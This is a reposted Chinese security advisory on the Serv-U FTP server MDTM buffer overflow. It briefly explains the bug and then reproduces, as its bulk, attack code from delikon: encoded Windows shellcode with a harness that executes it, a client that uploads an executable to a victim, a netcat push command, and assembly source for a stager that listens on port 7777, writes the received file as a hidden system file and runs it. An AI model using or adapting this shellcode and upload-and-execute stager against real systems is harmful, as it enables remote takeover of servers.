利用Serv-U FTP服务器MDTM命令远程缓冲区溢出漏洞的exploit
/ns/ld/softld/data/20040521122818.htm
受影响的软件及系统:
====================
RhinoSoft Serv-U 5.0
RhinoSoft Serv-U 4.x
RhinoSoft Serv-U 3.x
RhinoSoft Serv-U 2.x
综述:
最近披露了Serv-U FTP服务器的一个严重安全漏洞。Serv-U FTP服务器在国内应用非常广泛,针对该漏洞的攻击代码已经开始流传。绿盟科技安全小组在实验室中重现了针对该漏洞的有效利用,并且已经监测到了互联网上发生的针对该漏洞的攻击。
分析:
FTP是广泛使用的一个文件传输协议。Serv-U是Windows平台下一个流行的FTP服务器软件。Serv-U提供FTP命令“MDTM”用于用户更改文件时间。
Serv-U在处理“MDTM”命令的参数时缺少正确的缓冲区边界检查,远程攻击者可以利用这个漏洞对FTP服务程序进行缓冲区溢出攻击,可能以FTP进程权限在系统上执行任意指令。
当用户成功登录系统,并发送畸形超长的时区数据作为“MDTM”命令的参数,可触发缓冲区溢出,精心构建参数数据可能以FTP进程权限在系统上执行任意指令。
利用此漏洞需要用户拥有合法帐户登录到系统,但不需要写及其他权限。
以下提供他的exploit 代码
/*
Uploading and executing shellcode v0.2 | www.delikon.de | 2.5.04
i have test this exploit, with the mtdm serv-u overflow.
thanks to
-Jarkko Turkulainen (http://www.klake.org/~jt/asmcode/)
for his shellcode encoder
-ratter for the PEB structure information.
-www.metasploit.com where i have copy and paste
90% percent of this code
for uploading a file use the function below, or netcat
nc ip 7777 < file.exe
Strg-C
*/
#include <stdio.h>
#include <windows.h>
#include <winsock.h>
#pragma comment(lib, "ws2_32.lib")
char shellcode[] = "\xD9"//xor 0x88 | port 7777
"\xE1\xD9\x34\x24\x58\x58\x58\x58\x80\xE8\xE7\x31\xC9\x66\x81\xE9\x4E\xFE\x80\x30"
"\x88\x40\xE2\xFA\x61\xEC\x89\x88\x88\xD3\xDD\x01\x6D\xEE\x09\x64\xBC\x88\x01\x6E"
"\xEE\x09\x64\x84\x88\x60\x53\x88\x88\x88\x01\x4F\xDF\xE0\x06\xC6\x86\x64\x60\x6F"
"\x88\x88\x88\x01\xCD\x80\x05\xDB\xB8\xDA\x77\xDD\x80\x01\xCD\x80\x05\xDB\xB3\x01"
"\xDE\xBC\xE2\x85\xD1\xEE\x09\x71\x8F\x88\xFD\x8B\x03\xF5\x80\x01\x86\xDF\x77\xFC"
"\x03\x74\x60\x33\x88\x88\x88\x03\x86\x01\xCC\x06\x74\x6A\x6A\xEE\x09\x64\x18\x89"
"\xDC\xE0\x89\x89\x88\x88\x77\xDE\x8C\xB9\x77\xDF\xDF\xDF\xDF\xCF\xDF\xCF\xDF\x77"
"\x9E\x01\x4B\xB9\x77\xDF\xDF\xE0\x8A\x88\x96\xE9\x01\x6A\xE2\x98\xDA\xDB\x77\xDE"
"\x80\xDF\xDB\x77\xDE\x84\xDF\xDE\xDB\x77\xDE\x98\x01\x4B\xE2\x88\xE2\x8E\xE2\x8C"
"\xE2\x88\xE2\x8F\xE0\x88\x88\x88\x68\x77\xFE\xBC\x77\xDE\xAC\x01\x4F\x09\x64\x14"
"\x77\x77\x77\x01\x6D\x05\xDD\xEC\xE2\x88\xE0\xEC\x88\x88\x88\xDA\xDB\x77\xDE\x9C"
"\xB5\x77\x77\x77\x77\xFC\x9D\xB5\x88\x88\x88\x88\xFC\x86\x05\xDD\xEC\xE2\x88\xD9"
"\xD8\xDA\xDF\x77\xDE\xA0\x63\x5D\xDF\x77\xDE\xA4\xE0\x8D\x88\x88\x88\x77\xFE\xBC"
"\x77\xDE\xA8\xB9\x77\xDF\x77\xDE\x94\xDD\xDE\xEC\x29\xB8\x88\x88\x88\x03\xC8\x84"
"\x03\xF8\x94\x25\x03\xE0\x80\x01\x60\xD6\xD5\x4A\x8C\x88\xDB\xDD\xDE\xDF\x03\xE4"
"\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x89\x62\x03\xC2\x90\x03\xD2\xA8\x89\x63\x6B"
"\xBD\xC1\x03\xBC\x03\x89\x66\xB9\x77\x74\xB9\x48\x24\xB0\x68\xFC\x8F\x49\x47\x85"
"\x89\x4F\x63\x7A\xB3\xF4\xAC\x9C\xFD\x69\x03\xD2\xAC\x89\x63\xEE\x03\x84\xC3\x03"
"\xD2\x94\x89\x63\x03\x8C\x03\x89\x60\x61\x8A\x88\x88\x88\xB9\x48\x01\x62\xD7\xD6"
"\xD5\xD3\x4A\x8C\x88\x60\x1F\x76\x77\x77\x51\x81\x7D\x25\x43\x65\x74\xB3\x2C\x92"
"\xF8\x4F\x2C\x25\xA6\x61\x6D\xC1\x0E\xC1\x3E\x91\x90\x6F\x6F\xF1\x4E\xF1\xF6\x50"
"\x6A\xFB\x10\x76\x02\x86\x2D\x9F\x88\xF4\x97\xF1\x82\x60\x73\x1F\x75\x87\xDF\xDB"
"\xBA\xD7\xBB\xBA\xA6\xCC\xC4\xC4\x88\xFC\xED\xFB\xFC\xA6\xED\xF0\xED\x88";
int
main(){
WSADATA wsa;
void (*funct) ();
(long) funct = &shellcode;
WSAStartup(MAKEWORD(2,0),&wsa);
funct();}
/*
//you can use this function for the file upload
int fileupload(int port,char *FileName,char* ip){
FILE* file;
int sockfd, numbytes;
struct hostent *he;
struct sockaddr_in their_addr;
char buf[1024];
char *a=NULL;
int read=0;
printf("[+] Opening File\n");
file = fopen(FileName,"rb");
if (file==NULL) {
printf("[-] Open Failed\n");
return -1;
}
printf("[+] File found ready to send\n");
if ((he=gethostbyname(ip)) == NULL) { // get the host info
printf("[-] GetHostByName() Error!\n");
return -1;
}
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf("[-] Can't open socket!\n");
return -1;
}
their_addr.sin_family = AF_INET; // host byte order
their_addr.sin_port = htons(port); // port
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
//memset(&(their_addr.sin_zero), '\0', 8); // zero the rest of the struct
if (connect(sockfd, (struct sockaddr *)&their_addr,sizeof(struct sockaddr)) == -1) {
printf("[-] Connecting error\n");
return -1;
}
printf("[+] Connected\n[+] Sending executable.\n");
while (!feof(file)) {
read = fread(buf,sizeof(char),sizeof(buf),file);
Sleep(200);
if ((numbytes=send(sockfd,buf,read,0)) == -1) {
printf("[-] Sending executable failed\n");
return -1;
}
printf(".");
}
printf("\n[+] All done, server have now executed your executable!\n");
closesocket(sockfd);
WSACleanup();
return 0;
}
*/
/*
[BITS 32]
%define BLOCKSZ 100
jmp data
start:
pop ebx
push ebp
mov ebp,esp
sub sp,52 ;we want save 4*13 bytes for func addr
mov esi,esp
sub sp,12
call LK32Base
mov edi, eax ; kernel addr in EDI
push dword edi
push 0xec0e4e8e
call LGetProcAddress
mov [ebp+8], eax ; LoadLibrary addr in ebp+8
lea edx,[ebx+48]
push edx
call [ebp+8]
mov [ebp+8],eax
lea edx,[ebx+59] ;get the file name
mov [esi+52],edx
push byte 0xd
pop ecx
kerneladdr:
cmp cx,11-4
jne here
mov edi,[ebp+8]
here:
mov [esi],ecx ;save the counter
push dword edi
push dword [ecx*4+ebx-4]
call LGetProcAddress
mov ecx,[esi] ;restore it
mov [esi+ecx*4-4],eax
loop kerneladdr
LWSAStartup:
; WSAStartup(0x101, DATA)
sub sp, 400
push esp
push 0x101
call [esi + 4]
LWSASocketA:
; WSASocketA(2,1,0,0,0,0)
xor edi,edi
push edi
push edi
push edi
push edi
inc edi
push edi
inc edi
push edi
call [esi]
mov ebx, eax ; save socket to ebx
LBind:
xor edi, edi
push edi
push edi
push dword 0x611E0002 ; port 7777
mov edx, esp
push byte 0x10 ; length
push edx
push ebx
call [esi + 8]
LListen:
push edi
push ebx
call [esi+12]
LAccept:
push edi
push esi
push ebx
call [esi + 16]
mov ebx, eax
LCreateFile:
push byte 0 ; template
push byte 6 ; FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM
push byte 4 ; OPEN_ALWAYS
push byte 0 ; lpSecurityAttributes=null
push byte 7 ; FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE;
push 0xe0000000 ; GENERIC_EXECUTE | GENERIC_READ | GENERIC_WRITE
push dword [esi+52] ; file name
call [esi+36]
mov edi, eax ; Handle in edi
LConfigBuffer:
sub esp, BLOCKSZ - 200
mov ebp,esp
LReadSocket: ; recv(s, buff, 4096, 0)
lea edx, [ebp+100] ; recv buffer ptr
push byte 0x00 ; flags
push BLOCKSZ ; length
push edx ; buffer
push dword ebx ; socket
call [esi+20] ; recv()
cmp eax,0xFFFFFFFF ; disconnect ?? yes! go end
je end
cmp eax,0 ; disconnect ?? yes! go end
je end
LWriteFile:
lea edx, [ebp+100] ; recv buffer ptr
push byte 0 ; not overlapped
push ecx ; &written
push eax ; recv len
push edx ; source buffer
push edi ; file handle
call [esi+40] ; WriteFile
jmp LReadSocket ; go read some more
end:
LCloseHandle:
push edi
call [esi+44]
push 5
push dword [esi+52]
call [esi+32]
xor edi,edi
push edi
call [esi+28]
LK32Base:
push ebp
push esi
mov eax, [fs:0x30]
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c]
lodsd
mov ebp, [eax + 0x08]
mov eax, ebp
pop esi
pop ebp
ret 4
LGetProcAddress:
push ebx
push ebp
push esi
push edi
mov ebp, [esp + 24]; DLL Base Address
mov eax, [ebp + 0x3c]; eax = PE header offset
mov edx, [ebp + eax + 120]
add edx, ebp; edx = exports directory table
mov ecx, [edx + 24]; ecx = number of name pointers
mov ebx, [edx + 32]
add ebx, ebp; ebx = name pointers table
LFnlp:
jecxz LNtfnd
dec ecx
mov esi, [ebx + ecx * 4]
add esi, ebp; esi = name pointer
xor edi, edi
cld
LHshlp:
xor eax, eax
lodsb
cmp al, ah
je LFnd
ror edi, 13
add edi, eax
jmp LHshlp
LFnd:
; compare computed hash to argument
cmp edi, [esp + 20]
jnz LFnlp
mov ebx, [edx + 36]; ebx = ordinals table RNA
add ebx, ebp
mov cx, [ebx + 2 * ecx]; ecx = function ordinal
mov ebx, [edx + 28]; ebx = address table RVA
add ebx, ebp
mov eax, [ebx + 4 * ecx]; eax = address of function RVA
add eax, ebp
jmp LDone
LNtfnd:
xor eax, eax
LDone:
mov edx, ebp
pop edi
pop esi
pop ebp
pop ebx
ret 4
data:
call start
;addr of kernel
dd 0xadf509d9 ;WSASocketA [esi]
dd 0x3bfcedcb ;WSAStartup 4
dd 0xc7701aa4 ;bind 8
dd 0xe92eada4 ;listen 12
dd 0x498649e5 ;accept 16
dd 0xe71819b6 ;recv 20
dd 0x79c679e7 ;closesocket 24
dd 0x73e2d87e ;ExitProcess 28
dd 0x0e8afe98 ;WinExec 32
dd 0x7c0017a5 ;CreateFileA 36
dd 0xe80a791f ;WriteFile 40
dd 0x0ffd97fb ;CloseHandle 44
db "WS2_32.DLL", 0x00
db "test.exe", 0x00
*/
=========================
文章类型:转载 提交:bailove 核查:NetDemon